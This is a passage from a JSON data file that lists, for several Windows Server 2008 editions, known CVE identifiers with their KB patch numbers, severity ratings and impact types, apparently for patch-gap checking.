Disclosure"},{"cve":"CVE-2018-0901","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093478","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8120","kb":"4131188","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4134651","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4463097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4458010","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467706","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467706","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4134651","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480968","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499149","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493471","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534303","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537810","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541506","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556860","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556860","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571730","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571730","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003210","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003210","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003661","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5004955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005090","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005563","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006736","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-20569","kb":"5029318","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025271","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026408","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028222","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041850","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043135","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048710","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24985","kb":"5053888","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053888","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055609","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058449","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058449","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061026","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063888","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063888","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2008 for Itanium-Based Systems":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 for Itanium-Based Systems Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3906","kb":"2901674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2898855","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3023562","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126593","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3158991","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3167679","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-7255","kb":"3198234","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012497","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0101","kb":"4011981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012598","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0148","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4014793","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4018556","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019204","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041671","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4052303","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4021903","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022010","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4022748","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4039384","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038874","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4039038","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056615","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056759","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4101477","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4056564","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093478","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8120","kb":"4131188","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4134651","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4463097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4458010","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467706","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467706","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4134651","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480968","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499149","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493471","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534303","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2008 for Itanium-based Systems Service Pack 2":[{"cve":"CVE-2016-3237","kb":"3167679","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-7255","kb":"3198234","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012583","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 for x64-based Systems":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-5416","kb":"960089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 for x64-based Systems Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3906","kb":"2901674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2898855","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code 